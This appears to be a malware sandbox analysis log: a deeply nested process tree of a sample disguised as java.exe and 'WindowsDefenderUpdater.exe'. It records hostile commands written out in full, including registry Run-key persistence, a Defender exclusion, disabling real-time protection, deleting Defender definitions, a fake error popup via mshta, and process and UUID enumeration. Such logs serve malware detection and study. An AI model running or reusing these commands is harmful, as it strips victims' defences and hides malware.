        "C:\Windows\system32\java.exe"
        9⤵
        
        PID:4492
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\716.tmp\717.tmp\718.bat C:\Windows\system32\java.exe"
        10⤵
        
        PID:1352
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        11⤵
        
        PID:10936
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
        11⤵
        
        PID:6164
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        11⤵
        
        PID:10544
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        11⤵
        
        PID:11068
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        11⤵
        
        PID:7772
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        12⤵
        
        PID:9304
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        11⤵
        
        PID:7432
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        11⤵
        
        PID:9096
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\11E3.tmp\11F4.tmp\11F5.bat C:\Windows\system32\java.exe"
        12⤵
        
        PID:7920
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
        13⤵
        
        PID:10544
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
        13⤵
        
        PID:9524
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        13⤵
        
        PID:9432
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        13⤵
        
        PID:9184
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        13⤵
        
        PID:6608
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        14⤵
        
        PID:10896
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        13⤵
        
        PID:9968
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        13⤵
        
        PID:11240
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\19D3.tmp\19D4.tmp\19D5.bat C:\Windows\system32\java.exe"
        14⤵
        
        PID:11000
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        15⤵
        Delays execution with timeout.exe
        
        PID:460
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        15⤵
        
        PID:10964
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        15⤵
        
        PID:11052
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        16⤵
        
        PID:8556
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        15⤵
        
        PID:7852
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        15⤵
        
        PID:6052
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\22BC.tmp\22BD.tmp\22BE.bat C:\Windows\system32\java.exe"
        16⤵
        
        PID:9684
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        17⤵
        Delays execution with timeout.exe
        
        PID:6408
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        17⤵
        
        PID:4376
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        17⤵
        
        PID:9988
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        17⤵
        
        PID:6328
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        18⤵
        
        PID:6140
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        17⤵
        
        PID:8704
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        17⤵
        
        PID:8392
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2BB5.tmp\2BB6.tmp\2BB7.bat C:\Windows\system32\java.exe"
        18⤵
        
        PID:6920
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        19⤵
        Delays execution with timeout.exe
        
        PID:3512
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        19⤵
        
        PID:10376
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        20⤵
        
        PID:5964
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        19⤵
        
        PID:3328
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        19⤵
        
        PID:2420
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        19⤵
        Delays execution with timeout.exe
        
        PID:11032
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        17⤵
        Delays execution with timeout.exe
        
        PID:6692
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        15⤵
        
        PID:9196
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        13⤵
        Delays execution with timeout.exe
        
        PID:9468
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        11⤵
        
        PID:6844
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        9⤵
        Delays execution with timeout.exe
        
        PID:2840
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        7⤵
        Delays execution with timeout.exe
        
        PID:4976
    - - C:\Windows\system32\timeout.exe
        
        timeout 5
        5⤵
        
        PID:10636
- - C:\Windows\system32\timeout.exe
    timeout 5
    3⤵
    PID:9872

C:\Windows\system32\timeout.exe
timeout 5
1⤵
PID:10952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:6256

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:4360

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
1⤵
PID:10244

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
1⤵
PID:1468

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
1⤵
PID:3976

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
1⤵
PID:10248

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
1⤵
PID:6288

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:6480
- C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
  "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
  2⤵
  PID:7928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'"
    3⤵
    PID:4392
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:11044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    PID:1056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:9340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
    3⤵
    PID:10120
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
      4⤵
      PID:9808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:10548
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:5656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:10632
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:3836

C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
1⤵
PID:6932

C:\Windows\system32\java.exe
"C:\Windows\system32\java.exe"
1⤵
PID:7796
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D95F.tmp\D960.tmp\D961.bat C:\Windows\system32\java.exe"
  2⤵
  PID:6136
- - C:\Windows\system32\timeout.exe
    timeout 1
    3⤵
    - Delays execution with timeout.exe
    PID:6640
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
    3⤵
    PID:9432
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
    3⤵
    PID:11200
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
    3⤵
    PID:10432
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
    3⤵
    PID:10020
- - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
    "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
    3⤵
    PID:9588
  - - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
      "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
      4⤵
      PID:11056
- - C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
    "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
    3⤵
    PID:8628
- - C:\Windows\system32\java.exe
    "C:\Windows\system32\java.exe"
    3⤵
    PID:1824
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F534.tmp\F535.tmp\F536.bat C:\Windows\system32\java.exe"
      4⤵
      PID:8056
    - - C:\Windows\system32\timeout.exe
        
        timeout 1
        5⤵
        Delays execution with timeout.exe
        
        PID:10772
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
        5⤵
        
        PID:612
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        5⤵
        
        PID:10304
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        5⤵
        
        PID:840
    - - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        5⤵
        
        PID:9376
      - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        6⤵
        
        PID:8796
    - - C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        5⤵
        
        PID:9472
    - - C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        5⤵
        
        PID:7812
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\178.tmp\179.tmp\17A.bat C:\Windows\system32\java.exe"
        6⤵
        
        PID:9024
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
        7⤵
        
        PID:4924
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        7⤵
        
        PID:5488
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        7⤵
        
        PID:9448
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        8⤵
        
        PID:4760
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        7⤵
        
        PID:7788
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        7⤵
        
        PID:2608
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D01.tmp\D02.tmp\D03.bat C:\Windows\system32\java.exe"
        8⤵
        
        PID:10320
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        9⤵
        
        PID:6980
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        9⤵
        
        PID:2628
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        9⤵
        
        PID:8204
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        10⤵
        
        PID:11136
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        9⤵
        
        PID:840
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        9⤵
        
        PID:8296
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1668.tmp\1669.tmp\166A.bat C:\Windows\system32\java.exe"
        10⤵
        
        PID:9304
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        11⤵
        
        PID:1120
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        11⤵
        
        PID:4976
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        12⤵
        
        PID:10824
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        11⤵
        
        PID:612
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        11⤵
        
        PID:7988
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1F03.tmp\1F04.tmp\1F05.bat C:\Windows\system32\java.exe"
        12⤵
        
        PID:9744
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
        13⤵
        
        PID:6240
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        13⤵
        
        PID:9668
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        13⤵
        
        PID:6788
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        13⤵
        
        PID:10936
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        14⤵
        
        PID:10984
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        13⤵
        
        PID:4536
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        13⤵
        
        PID:3064
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2702.tmp\2703.tmp\2704.bat C:\Windows\system32\java.exe"
        14⤵
        
        PID:10440
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        15⤵
        
        PID:6476
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        15⤵
        
        PID:8356
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        15⤵
        
        PID:5744
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        16⤵
        
        PID:3660
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        15⤵
        
        PID:8332
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        15⤵
        
        PID:7172
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2FCC.tmp\2FCD.tmp\2FCE.bat C:\Windows\system32\java.exe"
        16⤵
        
        PID:6912
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
        17⤵
        
        PID:1256
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        17⤵
        
        PID:8352
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        17⤵
        
        PID:7280
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        17⤵
        
        PID:9584
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        18⤵
        
        PID:2424
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        17⤵
        
        PID:2116
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        17⤵
        
        PID:9804
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\37DA.tmp\37DB.tmp\37DC.bat C:\Windows\system32\java.exe"
        18⤵
        
        PID:10816
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        19⤵
        Delays execution with timeout.exe
        
        PID:7432
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        19⤵
        
        PID:10168
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        19⤵
        
        PID:5752
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        19⤵
        
        PID:10428
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        20⤵
        
        PID:10612
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        19⤵
        
        PID:9196
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        19⤵
        
        PID:2668
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3FE9.tmp\3FEA.tmp\3FEB.bat C:\Windows\system32\java.exe"
        20⤵
        
        PID:9460
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        21⤵
        Delays execution with timeout.exe
        
        PID:3968
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        19⤵
        Delays execution with timeout.exe
        
        PID:6644
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        17⤵
        Delays execution with timeout.exe
        
        PID:3660
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        15⤵
        Delays execution with timeout.exe
        
        PID:5272
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        13⤵
        Delays execution with timeout.exe
        
        PID:10964
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        11⤵
        
        PID:3788
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        9⤵
        Delays execution with timeout.exe
        
        PID:4092
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        7⤵
        Delays execution with timeout.exe
        
        PID:8960
    - - C:\Windows\system32\timeout.exe
        
        timeout 5
        5⤵
        Delays execution with timeout.exe
        
        PID:9996
- - C:\Windows\system32\timeout.exe
    timeout 5
    3⤵
    - Delays execution with timeout.exe
    PID:4416

C:\Windows\system32\timeout.exe
timeout 5
1⤵
PID:8036

C:\Users\Admin\AppData\Local\EasySuiteAutoTool\draw.io.exe
C:\Users\Admin\AppData\Local\EasySuiteAutoTool\draw.io.exe
1⤵
PID:10572
- C:\Users\Admin\AppData\Local\EasySuiteAutoTool\draw.io.exe
  "C:\Users\Admin\AppData\Local\EasySuiteAutoTool\draw.io.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\draw.io" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1784 --field-trial-handle=1960,i,4231056087019363869,6445491553469747613,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
  2⤵
  PID:10036
- C:\Users\Admin\AppData\Local\EasySuiteAutoTool\draw.io.exe
  "C:\Users\Admin\AppData\Local\EasySuiteAutoTool\draw.io.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\draw.io" --mojo-platform-channel-handle=2176 --field-trial-handle=1960,i,4231056087019363869,6445491553469747613,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
  2⤵
  PID:8040

C:\Windows\system32\timeout.exe
timeout 1
1⤵
- Delays execution with timeout.exe
PID:6644

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
1⤵
PID:4432

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
1⤵
PID:9776

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:10228
- C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
  "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
  2⤵
  PID:9936

C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
1⤵
PID:8076

C:\Windows\system32\java.exe
"C:\Windows\system32\java.exe"
1⤵
PID:2988
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3C6E.tmp\3C6F.tmp\3C70.bat C:\Windows\system32\java.exe"
  2⤵
  PID:6460
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
    3⤵
    PID:10864
- - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
    "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
    3⤵
    PID:884
  - - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
      "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
      4⤵
      PID:4292
- - C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
    "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
    3⤵
    PID:10304
- - C:\Windows\system32\java.exe
    "C:\Windows\system32\java.exe"
    3⤵
    PID:2092
